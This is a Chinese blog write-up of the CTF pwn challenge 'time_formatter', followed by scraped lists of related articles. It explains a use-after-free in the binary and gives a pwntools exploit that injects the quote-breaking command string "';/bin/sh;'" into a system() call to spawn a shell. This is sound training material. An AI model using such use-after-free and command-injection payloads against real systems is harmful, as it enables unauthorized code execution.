time_formatter

前言:这题说实话分析量蛮大的,首先是程序内壁比较绕,而且调用了之前许多没有见到的函数---如snprintf_che,以及strsup(好像打错了),getegid(),并且对于一般的题目考察堆的方向是比较少的。

还是学了一些东西吧。

废话不多说,开始吧:

1.查看保护

保护极高了已经!!!就很恐惧!!!

2.运行收集信息



好家伙上来就报菜名嗷,更加恐惧了,不过有个提示嗷,一般报菜名的题目都是和堆有关的,至少我见的不多几道是这样。

3.ida查看



这里解释一些课外东西:

1.getegid:getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

返回值:返回有效的组识别码.

2.setresgid:与市民对应,设置有效的组识别码

另外函数名字我做了一些变化,你们看的时候对照着自己写的看!



这里的returnnumb是返回一个整数,用来做判断

先看first函数:



注意看v0获得的是sub 400d74这个函数的返回值,我们点进去看看:



要写的不会的函数备注我写旁边了,这里我复制下来看的清楚:

1.strcspn:C 库函数 size_t strcspn(const char *str1, const char

*str2) 检索字符串 str1 开头连续有几个字符都不含字符串

str2 中的字符。

2.mallocother是我自己写的;

点进去malloc这个看看:



继续写以前没有见过的函数:

1.strdup:调用malloc函数去开辟空间存储参数的数值,并且返回指针类型。另外值得注意的是这里malloc申请的空间并不一定是传入进去字符串的长度,我后面在exp试了试,得出的这个结论。

2.err:错误流,不用管,我也不会

3.getenv:写旁边了,对题目影响不大。

4.另外就是这个参数可变的fprintf_chk,是把参数按照格式化要求转换之后存储到,开头给出的文件流(个人理解,建议百度)

然后返回了v5,v5就是我们输入进去的语句指针,最后把这个指针给了first函数的v0。

我们回到v0看看:



这里的aboutstr是我自己起的名字,其实就是比较,比较完之后把刚刚输入句子的指针给了全局变量ptr。

而这里的ptr也就是解体的关键所在了。

这里我们点击进去sboutstr函数看一下:



这里再次简述一下函数strspn的意思:

比较str1里面的元素是否都在str2里面,有则输出不一样元素的下标,没有的话,输出str1的长度。这里要求if判断成功,所以必须str1里面元素都在规定的accept里面,并且注意这里没有小写的i,这点我们后面再说:

到此我们算是吧first函数过了一遍了。


second函数没有什么意思,可以不看,直接看第三个函数sub400e43:

这个函数和之前一样,给指针给全局变量value,但是没有检测是否在accept中。

并且也是malloc开辟空间。

所以现在有了两次malloc的机会。



划线的地方都是这个漏洞执行的关键,他这里会把相对应的参数格式化后传递给command,所以呢这里我们要做的就是负责让command中有system,那这里参数中可以改的就是ptr了,那么我们能不能一开始就在ptr里面输入bin/sh呢,这是不行的,因为accept里面没有小写的字母。


继续看,选项5的函数:

询问是否退出前free了我们的全局变量。

那么想到的是什么?

use after free漏洞,去间接的修改我们ptr里面的内容。

思路:

1.首先随便给ptr数值让它申请,但是最好和后面要填的参数长度相同。

2.然后选择5,free掉,没有置空,所以这个时候ptr成为了悬挂指针。

3.然后我们再次去申请差不多大的value,就会让ptr和value指向同一片地址,这个时候我们在去用value修改ptr。

4.然后选择4,command中有了命令,执行之后获得shell。

exp如下,并且还要做一些解释:

from pwn import *
context.log_level='debug'
p=process("./time_formatter")
def func(a):
p.recvuntil("> ")
p.sendline(a)
func('1')
payload1='a'*8
p.sendline(payload1)
func('5')
p.sendline('N')
func('3') p.sendline('\';/bin/sh;\'')
func('4')
p.interactive()

这里要解释的就是最后的p.sendline('\';/bin/sh;\''),为什么不写p.sendline('/bin/sh')呢?

我们看看选项4转换的时候:



这里我们传入进去的数字是用 ‘ %s ’包裹起来的,导致我们的/bin/sh是完全没有办法输入,使用我们要保证前后闭合就要 p.sendline(' ' /bin/sh ' '),这样可以嘛?不行,因为这样会在我们输的时候,p.sendline这里的单引号闭合了,所以使用转义字符 \ ',但是又因为要在system里面输入多个命令,所以要使用 ; 来让两个命令都执行,所以要写:p.sendline('\';/bin/sh\''),就可以了。


题目还是很麻烦的题目,主要是复杂。

关于堆的知识这里附上链接ctfwiki,我最喜欢的网站:

https://wiki.x10sec.org/pwn/linux/glibc-heap/use_after_free-zh/



睡觉了睡觉了!!!

time_formatter攻防世界学习的更多相关文章

  1. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  2. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

  3. 攻防世界-Web_php_include (四种解法)

    攻防世界-Web_php_include   (考察的是文件包含) 打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空 str_replace()以其他字符替换字符串中的一些 ...

  4. 攻防世界 web进阶区 ics-06

    攻防世界 ics-06 涉及知识点: (1)php://filter协议 (2)php中preg_replace()函数的漏洞 解析: 进入题目的界面,一通乱点点出了唯一一个可以进入的界面. 观察ur ...

  5. 攻防世界-MISC:ext3

    这是攻防世界新手练习区的第九题,题目如下: 点击下载附件1,通过题目描述可知这是一个Linux系统光盘,用010editor打开,搜索flag,发现存在flag.txt文件 将该文件解压,找到flag ...

  6. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  7. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  8. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  9. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

随机推荐

  1. JS002. map( ) 和 filter( ) 的区别和实际应用场景(递归函数、深度优先搜索DFS)

    在开发过程中难免会碰到省市区级联的操作,一般后端人员是不愿意将中文储存在数据库的. 由于应用页面较多,我们在通过区域Code写查字典函数时应该注意函数的 时间复杂度 / 空间复杂度. 如果用三层for ...

  2. 部署yum仓库以及NFS共享服务

    目录: 一.YUM概述 二.准备安装源 三.访问YUM仓库 四.本地YUM仓库 五.YUM工具概述 六.软件包查询.安装.卸载 七.NFS共享 一.YUM概述 YUM(Yellow dog Updat ...

  3. [第十五篇]——Swarm 集群管理之Spring Cloud直播商城 b2b2c电子商务技术总结

    Swarm 集群管理 简介 Docker Swarm 是 Docker 的集群管理工具.它将 Docker 主机池转变为单个虚拟 Docker 主机. Docker Swarm 提供了标准的 Dock ...

  4. POJ 2509 Peter's smokes(Peter的香烟)

    POJ 2509 Peter的香烟 描述 Peter抽烟.他抽烟一个个地抽着烟头.从 k (k>1) 个烟头中,他可以抽一根新烟.彼得可以抽几支烟? 输入 输入是一系列行.每行包含两个给出n和k ...

  5. PHP中的强制类型转换

    学过静态语言开发的朋友对类型转换不会陌生,比如Java.C#.C++等.静态语言的好处就是变量强制必须指定类型,这也是编译的要求,所以大部分编译型的语言都会有强制变量类型的要求.而PHP据说也会在PH ...

  6. jquery .play()报错is not a function

    报错原因:play()方法属于DOM对象方法,$('#audio')为jquery对象解决办法:将jquery对象转换为DOM对象首先打印jquery对象$('#audio') 两种转换方式将一个jQ ...

  7. ECSHOP任意页面显示指定分类、数量、排序的任意类型文章,包括只显示置顶or普通的文章

    1.在需要使用此功能的PHP页面里最后的?>前面添加以下代码,现在以article.php为例子 /** jinmozhe 专业ECSHOP二次开发 * 获得指定分类ID.文章类型.指定数量.排 ...

  8. WireShark基础用法

    特点 免费 开源 跨平台 抓包原理 内部原理 抓取网卡 抓包环境 抓取本地数据 抓取外部数据 利用hub 流量镜像span.rspan.erspan 界面介绍.首选项.抓包选项 界面介绍 菜单栏 帮助 ...

  9. 你会阅读appium官网文档吗

    高效学习appium第一步,学会查看appium官方文档.如果能把appium文档都通读一遍,对学习appium大有益处. 而能做到通读appium官方文档的人,想必不是很多,刚开始学习appium的 ...

  10. P3649-[APIO2014]回文串【PAM】

    正题 题目链接:https://www.luogu.com.cn/problem/P3649 题目大意 一个字符串,求最大的回文串长度×出现次数 解题思路 构建出\(\text{PAM}\)然后统计一 ...